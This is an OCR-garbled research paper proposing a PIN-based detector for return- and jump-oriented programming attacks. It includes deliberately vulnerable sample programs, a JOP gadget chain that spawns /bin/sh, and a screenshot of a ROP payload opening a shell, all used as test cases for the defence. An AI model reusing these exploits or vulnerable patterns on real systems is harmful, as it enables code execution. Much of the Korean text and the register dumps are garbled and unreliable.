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Detection Mechanism against Code Re-use Attack
in Stack region
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Abstract Vulnerabilities related to memory have been known as major threats to the security of a computer system.
Actually, the number of attacks using memory vulnerability has been increased. Accordingly, various memory
protection mechanisms have been studied and implemented on operating system while new attack techniques
bypassing the protection systems have been developed. Especially, buffer overflow attacks have been developed as
Return-Oriented Programing(ROP) and Jump-Oriented Programming(JOP) called Code Re-used attack to bypass the
memory protection mechanism. Thus, in this paper, I analyzed code re-use attack techniques emerged recently among
attacks related to memory, as well as analyzed various detection mechanisms proposed previously. Based on the
results of the analyses, a mechanism that could detect various code re-use attacks on a binary level was proposed.
In addition, it was verified through experiments that the proposed mechanism could detect code re-use attacks
effectively.
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2.1 Return—Oriented Programming
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inslab@Localhost:~/test/jop_example =

File Edit View Search Terminal Help

iz Oxb685dd@d(direct branch)

iz Oxb685ddAd(direct branch)

inz Oxb686042b(direct branch)

rat (indirect branch)

in7 Oxb6869321 (direct branch)

inz Gxb686I3?1 (direct branch)

iz Oxb686931c(direct branch)

inz 0xb686937b (direct branch)

ret (indirect branch)

ret (indirect branch)

imp dword ptr [ebx-Ox3e](indirect branch)
imp dword ptr [ebp-0x39](indirect branch)
imp dword ptr [edx](indirect branch)

imp dword ptr [ebp-0x39] (indirect branch)
imp dword ptr [edx](indirect branch)

jmp dword ptr [edx](indirect branch)

jmp dword ptr [edx](indirect branch)

jmp dword ptr [ecx](indirect branch)

jmp dword ptr [esi-0xf] (indirect branch)
call dword ptr [esi+@x4](indirect branch)
[inslab@localhost jop_examplel$

[
[
[
[

[Fig. 8] Branch pattern in JOP attack
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(b) JOP attack
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INSLab@localhiost:~/rop_test
HA(E) BHE) 2V HOE®@ €(B) T8H)

9cfif4 | ecx : 0x1000000 | edx : 0x3 | esl  Cx411cad edl : 0xB04&55c | &
inp 0xB048

| g : 0xB0483a7 | ssp @ Oxdffffess | ebu 0x47fffefd | eax : 0x(ffffeb3 | ebx @ Oxbg|

9cfif4 | ecx | 0x1000000 | edx : 0x3 | esl = Cx411cad edl : 0xB04855¢ |

ret

ret

| i @ 0xb69'3fel | esp : Ox4fff<eCc | ebp  Cx4ffffefs | eax : 0xdffffedd | ebx : Oxb|

69cTff4 | ecy : Ox4FFffi3b | edx : Oxbffffs96 | esl : 0x411cad | edi : 0xB04855c |

re

| i : 0xB048474 | ssp : Oxdffffefc | ebp : 0x41414141 | eax : 0x/ffffeb3 | ebx @ 0xb§)

9cfifd | ecx ! OxAfffff3b | edx = Cxbffff396 | esl ! 0x411ca0 | edi @ 0x304855c |

ret

| Ip @ 0x3037830 | ssp @ Ox4ffff<0C | ebp : 0x41414141 | eax @ (nil) | eox : Oxb6ICffs|
4 | ecx : 0x¢fffff3d | edx : 0xb*f{feg6 | esl : 0xd41ica0 | edl ! 0x204855c |

t

re
| I @ 0x3027fe9 | ssp i Ox4ffff-0c | ebp | 0x41414141 | eax I (nil) | eax i 0xb69cff:|
4 | ecx : 0xbODOLOD | edx : Ox4f:f{f18 | es @ Ox411ca0 | ed| : 0x804855c |

ret

| IF : 0x3028013 | ssp @ OX4ffff<1C | ebp : 0x41414141 | eax : (nil) | edx : Oxb6dcffr]
4 | ecx : 0xbObObOb | edx : Ox4f<fif1s | es @ Ox411ca0 | edi : 0xB048555 |

ret

| I @ 0xB04851d | ssp : Ox4ffff<14 | ebp : 0x41414141 | eax : 0xb | ebx : 0xb69cfifd

| ecx : DxbObObOb | edx : Ox4fff:f18 | esl = Cx4112a0 edi : 0xBO4855c |

ret
| Ip @ 0x306b10e | ssp @ Ox4ffff<ic | ebp : 0x41414141 | eax : 0xb | ebx @ 0xdfffffsd
| ecx : DxbOBODOD | edx : Ox4fff<f18 | esl  Cx4112a0 ed| @ 0xBO4BSSC |

—2.008 -

(a) ROP attack

inslab@Llocalhost:*/test/jop-example

File Edit View Search Termindl Help

| ip : 0x804845¢ | esp : Oxbfffflb@ | eop : OxbffffBel | eax : Gxaaaaaaaa | ebx : Gxbf[~
FF1250 | ecx : | edx : | esi: | edi : OXFFfffffc |
imp dword ptr [edx]

| ip : 0x8048463 | esp : OxbFfffldd | eop : Oxbffff@el | eax : OxFFFFFFFf | ebx : Oxd7
bbf2dc | ecx @ Cxaaaaaaaa | edx : OxbFfff212 | esi : Oubffff212 | edi : Oxfffffffe |
imp dword ptr [edx]

| ip : 0x894846€ | esp : OxbTfffldd | eop : Oxbffff@dd | eax : (nil) | ebx : @xd7bbf2
C | =cx : Oxaaacaaaa | edx : OxbTFff212 | esi : Oxbffff212 | edi : OxFFfffffc |

imp dword ptr [edx]

| ip : 0x8048471 | esp : Oxbffffldd | eop : Oxbffff@d9d | eax : (nil) | ebx : @xd7bbf26
C | scx : Oxaaacaaaa | edx : OxbTfff212 | esi : Oxbffff212 | edi : OxfFfffffc |

jmp dword ptr [edx]

| ip : 0x804847€ | esp : OxbFfffldd | eop : OxbfffedS | eax : (nil) | ebx : Oxd7bbf26

d | scx : Oxasazaaaa | edx : Oxbffff212 | esi : Oxbffff212 | edi : GxFFFFfffc |

jmp dword ptr [ecx]

| ip : 0x894847z | esp : OxbTffflf6 | eop : OxbFfff@cS | eax : Ox80485¢9 | ebx : x84
85¢0 | ecx : OXBFFFf212 | edx : 0x80485c9 | esi : ExbffffLff | edi : OxFFFFfffc |

imp dword ptr [esi-6xf]

| ip : 0x804847f | esp : OxbFfff1fo | eop : OxbffffAcl | eax : OxbFfff212 | ebx : Ox80
485cD | ecx : 6x80485cO | edx : 0x80485c9 | esi : Exbfffflff | edi : Oxfffffffc |
[inslab@localhost jop_example]$ [l

(b) JOP attack

[Fig. 10] The experiment of register change
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*+ SEQ Lengthli] : o] element AFe]9] M#o]o] F=7}
AL Aold MAX INS Ht} o]s}el#] g<lgh,
* REG Modify[i] : ESPZ Zg3l= GP dIX2E 9 &
o] ME Zo] AR Aeojd MAX_REG °|sk1#] &

Slez=
+S[i] = REGli] & REG Modifyli] & SEQ_Lengthli]

Instruction| yMp | CALL | RET | RET | JMP

REG | %eax Null | Null | %ebx
SEQ_Length = number of sequences < MAX_INS | 1 0 1 0 1
REG_Modify = number of changed registers< MAX_ REG| 1 0 0 1 1
S = REG& SEQ_Length & REG_Modify 1 0 0 0 1

[Fig. 11] Queue in the proposed mechanism
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*CPU : Intel Core 15 2.8GHz
*OS : Fedora 4

* Kernel : Linux 2.6.11-1
* System Library @ Libc 2.35

[Table 1] The sample code of ROP attack

1 #include (sys/types.h)
2 #include (sys/stat.h)

3 #include {(sys/mman.h)
4 #include (fentl.hy

5
6 void do_map_libc(void) {
7 int fd:

8 struct stat sb:

9 fd = open(’libc-2.3.5.s0", O RDONLY, 0);

10 fstat(fd, &sb):

11 mmap((void *)0x03000000, sb.st size,

12 PROT READ|PROT EXEC, MAP FIXEDIMAP SHARED, fd, 0);
13}

14 void do_map_stack(void) {

15 int fd:

16 fd = open("/dev/zero”, O RDONLY, 0)

17 mmap(0x04f000000, 0x001000000, PROT READ|PROT WRITE,
18 MAP_FIXED|IMAP_PRIVATE, fd, 0):

19}

20 void overflow(char *arg) {

21 char buf(64):

22 strepy(buf, arg);

24 void move_stack(char *arg) {

25 _asm("'mov $0x04fffff00, %esp\n”)
26 overflow(arg):

27 _exit(0);

28}

29 int main(int argc, char *argv()) {
30 do_map_libc(): do_map_stack():

31 move stack(argv(1));

32}

Pintool JIT-Based Instrumentation Framework (PIN)

Detection Unit

Virtual Machine (VM)

i
Saohe
Cache

|3

1

[Fig. 12] The detection mechanism architecture in PIN
binary framework
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Fig. 133} 2-& ROP Al 2AE 438k ROP
Al

WAL ES) A stk ROP 82

/shWwo
/bin
(word to zero)
+?L
call *%gs:0x10
ret

o——————— pop %ecx
pop %edx
ret

e———» pop %ebx

ret

e—————» add %ch, %al

ret
e » mov %eax, 0x18(%edx)
ret

0x0b0b0b0b

pop %ecx
pop %edx

| » xor %eax, %eax Tet
ret

[Fig. 13] Sequences of ROP attack

ROP &7 8% W7UZd gt aglo
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149} 2t}

NS Lab @localhost/rop test
HUE HAE) 2N HoED wE) Ssut)

L INSLan@loca | ol o tes L]s Is &
target.c

tNslab@loca nost rop tescis B

(a) normal program execution

INSLab@localiost=/rop test

ZUE BEE LW am*s(l) “(B) Eszuu)

[\NsLaw\oca\nost rop_test]$ ./target ° “A"x68, pack(“c#”,0x9e,0x72,0x03,[4
10x71.0x02,0%03 oxob Oxob DxOb 50D 0x 18,0k 1, oxfrdxar, Ox16+ ox80, oxnz 3x030K

00x8 X34.,0%T1,0%F .0x L0x71.0%02 x26 0% 1

ok okt X35 Ok T s Ox S ORar 0XTR 0Xan 0X08 0K0R | ONaA 0K FF 0Nt E 0% 1 X0a, OXIb oxen 1D

Xdo ,0x2%,0X62,0%69,0x86 ,0%2F,0%73 ,0x68,0X0)

sh-3.008

(b) ROP attack execution

B INSLab localhost-/rop_test SE%

TE BHE 2N HoEdD ®(EB) SSUH)

LINSLab@locaipost rop testls ../pin/oin —t Ins.so — It o}
farger tarset.c

[ TRslonelo0s Thost ron testls

(¢) normal program applied the detection mechanism

INS1Lab @localHoSt /rop iest =m®

ZAUE BIHE 2 HOWD BB SSUH)
CiNstangiocainast rop tost]® . /pin/oin —t Insco — /taroet ‘peri —s ‘orint “a'xes, ol
13x8218570 870510108 5167 8351 10wz %0370 00 0x3b 10 x00T0x0p 013,011 1041704

0,0%02.5 od:0
10%02,0%03 ,0x wax
AT 0X08 Ok Tb GxeA Oxas |OXOT 10X6 10X6B Oxas OXBT s
o Attackili

FivbRooiocatnost rop testls

(d) ROP attack applied the basic detection mechanism

INSLab@ localhost~/op_test
WEE) 2 HOED BE) TSUH)

Z2U(E)

LOXTT,0x4T, Qxad X0 O%ca, Oxde x0T 005 0xa5 Ox0s OxB Y 0NT3 Oxas .
Code Reuse tionill

Queue Status [ n =5 ]
instruction || REGLI] || SEQ Lengtn[i] |1 REG Modify[il Il sSC1]
RET_NeAR || Indlrect branch 1

1
1
1
1

branch

F
[INSLab@localhost rop testls Wl

(e) ROP attack applied the extended detection
mechanism

[Fig. 14] The result of ROP attack detection
experiments
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* CPU : Intel Core i5 2.8GHz
*OS ! Fedora 15

* Kernel : Linux 2.6.386-26

[Table 2] The sample code of JOP attack

1 #include (stdlib.h)

2 #include (stdio.h)

3 #include (string.h)

4 tinclude (fentl.h)

5 #include (sys/stat.h)

6 #include (sys/mman.h)

7 #include (unistd.h)

8

9 char* executable="/bin//sh”;
10 char® null="\0\0\0";

11 FILE * fd;

12

13 void attack _payload () {

14 asm(".intel_syntax noprefix”);

15  asm("add ebp,edi; jmp [ebp O><39 ; //dispatcher

(
16  asm("popa; jmp (ebx-0x3e); //lmllal\zer
17 asm("popa; fdivr st(1), st; Jmp ledx]; //900
18 asm(“inc eax: fdivr st(1), st; jmp [edx i //901
19  asm(‘mov (ebx-0x17bc0000], ah: stc: Jmp ledx):");
//902
20 asm(“inc ebx: fdivr st(1), st; jmp [ed>< : //903
21 asm("popa; cmc; imp dword ptr [ecx //907

22 asm("xchg ecx, eax; fdiv st, st(3); jmp [e3| 0xf):");

//908
23 asm('mov eax, (esi+Oxc); mov [esp), eax: call
(esi+0x4):"); //909

24 asm("int 0x80"): //g0a
25 asm(”.att_syntax noprefix”);
26 }

28 void overflow() {

29  char buf(256);

30  fscanf(fd,”%("\n)" buf);

31 return;

32}

33

34 int main(int argc, char® argv) {
35 if(arge>1) filename = argv(1);
36  fd=fopen(filename, "r"):

37  overflow();

38 )

A HAYSE 7dE 98 AH-HE Pintool JIT
715ke] HA S Fsty] witel] Fao] whE= HH
ofoll thate] ZAH A ek A7 WART) wela, 7]
w HAYUES ol8dte] JOP 5245 "AE7] fleiA=
Fig. 167 #Zo] Weo] ¥
7IRko. 7 tzslA] 7HAS
7S B JOP 34 ¥4S

EJ(IP, Instruction Pointer) =
g l shar, HAE o2

Sajato]of wit,

popa; jmp [ebx-0x3e];

popa;
fdivr st(1), st;
jmp [edx];

inc eax;

fdivr st(1), st;

jmp [edx];

mov [ebx-0x17bc0000], ah; stc;
mp [edx];

inc ebx;
fdivr st(1), st;
jmp [edx];

Y add ebp,ed;
71 jmp [ebp-0x39];

popa;
emg;
jmp dword ptr [ecx];

xchg ecx, eax;
fdiv st, st(3);
jmp [esi-0cf];

mov eax, [esi+0xc];
mov [esp], eax;
call [esi+0x4];

int 080

[Fig. 15] Sequences of JOP attack

inslabi@localhest =estfop example

File L[dit View Sewch Terminal Help

— Cl=mx A

[Fig. 16] Instruction pointer in JOP attack

JOP &2 &= W7iyFel tidt Aoz 433t
4R 2ol e A Sl tigk A3 Fig. 17
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inslab@localhost:~/test/jop-example

File Edit View Search Terminal Help

sh-4.2§ s ~
lexploit exploit.nasm ins.so vulnerable vulnerable.c
sh-4.2%

(a) normal program execution

B
inslab@localhost:~/test/jop_example
File Edit View Search Terminal Help
sh-4.2$ ./vulnerable
[inslab@localhost jop_examplel$
(b) JOP attack execution
R

inslab@Localhost:/test/jop-example

File Edit View Search Terminal Help
sh-4.2¢ ../pin/pin -t ./ins.so -- 1s

lexploit exploit.nasm ins.so wulnerable vulnerable.c
sh-4.2¢

(c) normal program applied the detection mechanism

T
inslab@localhost:~/test/jop_example - o [x ‘

File Edit View Search Terminal Help

sh-4.2$ ../pin/pin -t ./ins.so -- ./vulnerable

[JOP Detection!!!

Aborted (core dumped)

sh-4.25 I

(d) JOP attack applied the basic detection mechanism

inslab@localhost:~/test/jop-example

File Edit View Search Terminal Help

sh-4.2% ../pin/pin -t ./extend.so --
Code Reuse Attack Detection!!!

./vulnerable

Queue Status [ n=5]
Instruction || REG[1] || SEQ_Lengthli] || REG_Modify[i] || S[i]
JMP || indirect branch || 1 [| 1 || 1
JMP || indirect branch || 1 || 1 [| 1
JMP || indirect branch || 1 || 1 || 1
JMP || indirect branch || 1 || 1 || 1
nch [ 1] 1

RET_NEAR || indirect bra

Aborted (core dumped)
sh-4.2¢ I

(e) JOP attack applied the extended detection
mechanism

[Fig. 17] The result of JOP attack detection experiments

413 Hm &M

Ak 2= AXE T4 EA fAUES 75
vholug] o4 el - wetEoe] DBl &5 A8k
TEska, BAE 93 Wxe] vy FHE a3t
v Aol A o r FARE oW =E ZhRTh
Tt 7)) gl WkE2 ROP ¥ JOP 7t 3 Z 9 =
gtelo] Q7] Wil o5 &8

A= GAE = 8l
= @Al vt AR AbEE WAYES ROP 4
JOPE sz A= AXFE TA] TFHJA EHE o
&5 t& Weto]7] wizel, 71Ee] Ul AetEdE 2
2 AF7HA Aok E = AYrE $A4L @xE

9= )& wetolt)
Agkeh= A WAYSH 71E tS WekEE vl
gk A= Table 33t 2t 7+d¥ B4 WAYFe ds

< W7}817] 9181A Linux A28 AolA] gho] AHE5)=
g7he) Az A0S Qo= Mk, 247 ofFe)
ol e h3l 7)3e) wholue] Sy AIZkat B 7} A48
A A 8 A 2489 24 AT, o Zg

rl

s}

F

Aol s3] Ao DBL £2 QI3 TAete= W= 4
B £H9 HgoR Q8 | AUZ Fgo
7)e] AAIZE ofu] FE ok 278m), B4 w7 Fe)
5ol oF 2819 e =E AT ozl =
A A= Fig. 189 Zth
[Table 3] The result of Analysis
detection
ROP +
counter ROP Jop Jop
measure
DROP 0 X X
ROP
Defender 0 X X
JOP Detection X (6] X
Proposed
detection 0} O O
mechanism
Proposed Proposed
m Native B mechanism mechanism B JOP Detection
! (basic) (extended)
45
i
a5
3
2
15
1
05
0
Jbinfsh foinfcat tar otip bzip2 bunzip2 python gec

[Fig. 18] The result of performance evaluation
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